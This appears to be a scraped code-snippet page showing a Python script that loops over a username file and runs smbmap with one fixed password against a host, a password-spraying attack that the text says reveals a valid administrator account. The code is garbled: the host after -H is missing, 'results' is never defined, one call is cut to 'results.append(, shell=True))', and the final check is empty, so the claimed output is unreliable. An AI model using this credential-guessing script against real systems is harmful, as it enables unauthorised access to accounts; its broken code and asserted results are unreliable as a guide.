python on read text execute command 1

python on read text execute command

import subprocess

# read in users and strip the newlines
with open('/tmp/users.txt') as f:
    userlist = [line.rstrip() for line in f]

# get list of commands for each user
cmds = []
for user in userlist:
    cmds.append('smbmap -u {} -p p@ssw0rd -H'.format(user))

# results from the commands

# execute the commands
for cmd in cmds:
    results.append(, shell=True))

# check for which worked
for i,result in enumerate(results):
    if result == 0:

Here is what the above code is Doing:
1. Read in the users.txt file and strip the newlines
2. Create a list of commands to run for each user
3. Execute the commands and store the results
4. Check the results and print the command that worked

The output of the above code is:
smbmap -u administrator -p p@ssw0rd -H

So we know that the administrator account is valid.

Similar Posts